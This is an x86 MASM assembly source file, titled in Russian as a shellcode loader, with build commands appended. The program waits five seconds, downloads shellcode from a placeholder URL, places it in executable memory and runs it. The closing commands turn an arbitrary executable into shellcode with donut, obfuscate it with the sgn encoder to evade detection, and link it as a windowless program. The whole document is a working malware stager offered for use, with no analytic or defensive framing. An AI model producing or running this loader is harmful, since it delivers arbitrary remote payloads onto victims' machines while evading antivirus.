Загрузчик шеллкода ASM 2 KB

.386
.model flat, stdcall
option casemap :none   

include C:\masm32\include\windows.inc
include C:\masm32\include\kernel32.inc
include C:\masm32\include\wininet.inc
includelib C:\masm32\lib\kernel32.lib
includelib C:\masm32\lib\wininet.lib
includelib C:\masm32\lib\msvcrt.lib

printf PROTO C :DWORD, :VARARG

.data
    useragent db "WockLoader",0
    url db "https://example.com/shellcode.bin",0
    hInternet dd ?
    hConnect dd ?
    hRequest dd ?
    hMemory dd ?
    shellcodeSize dd 4096
    strInternetOpen db "Initializing WinINet...%n",0
    strInternetOpenUrl db "Connecting to server...%n",0
    strVirtualAlloc db "Allocating memory...%n",0
    strInternetReadFile db "Reading shellcode...%n",0
    strExecuteShellcode db "Executing shellcode...%n",0
    bytesRead dd ?

.code
start:
    invoke Sleep, 5000

    invoke printf, addr strInternetOpen
    invoke InternetOpen, addr useragent, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0
    cmp eax, NULL
    je _exit
    mov hInternet, eax

    invoke printf, addr strInternetOpenUrl
    invoke InternetOpenUrl, hInternet, addr url, NULL, 0, INTERNET_FLAG_RELOAD, 0
    cmp eax, NULL
    je _closeInternet
    mov hRequest, eax

    invoke printf, addr strVirtualAlloc
    invoke VirtualAlloc, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE
    cmp eax, NULL
    je _closeRequest
    mov hMemory, eax

    invoke printf, addr strInternetReadFile

    mov ecx, shellcodeSize

    mov ebx, hRequest 
    mov edi, hMemory 
    invoke InternetReadFile, ebx, edi, ecx, offset bytesRead

    invoke InternetCloseHandle, ebx

    invoke printf, addr strExecuteShellcode
    call hMemory

    invoke VirtualFree, hMemory, 0, MEM_RELEASE

    _closeRequest:
    invoke InternetCloseHandle, hRequest
    _closeInternet:
    invoke InternetCloseHandle, hInternet

    _exit:
    invoke ExitProcess,0
end start

donut -a 1 -o init.shc -i payload.exe -b 1
sgn -a 32 -o final-shellcode.bin init.shc
ml /c /coff cloudloader.asm
link /SUBSYSTEM:WINDOWS cloudloader.obj